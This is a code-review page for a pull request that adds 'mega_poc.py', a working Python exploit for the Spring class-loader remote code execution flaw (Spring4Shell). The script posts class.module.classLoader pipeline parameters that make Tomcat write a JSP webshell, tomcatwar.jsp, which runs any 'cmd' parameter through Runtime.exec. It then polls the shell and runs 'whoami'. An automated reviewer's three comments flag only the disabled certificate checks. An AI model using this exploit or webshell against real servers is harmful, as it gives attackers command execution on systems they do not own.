Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
46 changes: 46 additions & 0 deletions mega_poc.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,46 @@
import time

import requests

payload = {
"class.module.classLoader.resources.context.parent.pipeline.first.pattern": '%{c2}i { java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i',
"class.module.classLoader.resources.context.parent.pipeline.first.suffix": ".jsp",
"class.module.classLoader.resources.context.parent.pipeline.first.directory": "webapps/ROOT",
"class.module.classLoader.resources.context.parent.pipeline.first.prefix": "tomcatwar",
"class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat": "",
}

if __name__ == "__main__":
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=False,
)
Comment on lines +14 to +21
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=False,
)
go = requests.post(
"http://localhost:8080/demo/index",
headers={"suffix": "%>//", "c2": "<%"},
data=payload,
timeout=15,
allow_redirects=False,
verify=True,
)
Created by disabled-cert-validation.


print("deploy", go)

for i in range(60):
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=False,
)
Comment on lines +26 to +31
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=False,
)
shellgo = requests.get(
"http://localhost:8080/tomcatwar.jsp",
timeout=15,
allow_redirects=False,
verify=True,
)
Created by disabled-cert-validation.


print("webshell", shellgo)
if shellgo.status_code == 500:
print("webshell", "http://localhost:8080/tomcatwar.jsp?cmd=whoami")
print(
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=False,
).text[:20]
Comment on lines +37 to +42
Copy link

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.

Suggested change
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=False,
).text[:20]
requests.get(
"http://localhost:8080/tomcatwar.jsp?cmd=whoami",
timeout=15,
allow_redirects=False,
verify=True,
).text[:20]
Created by disabled-cert-validation.

)
break

time.sleep(1)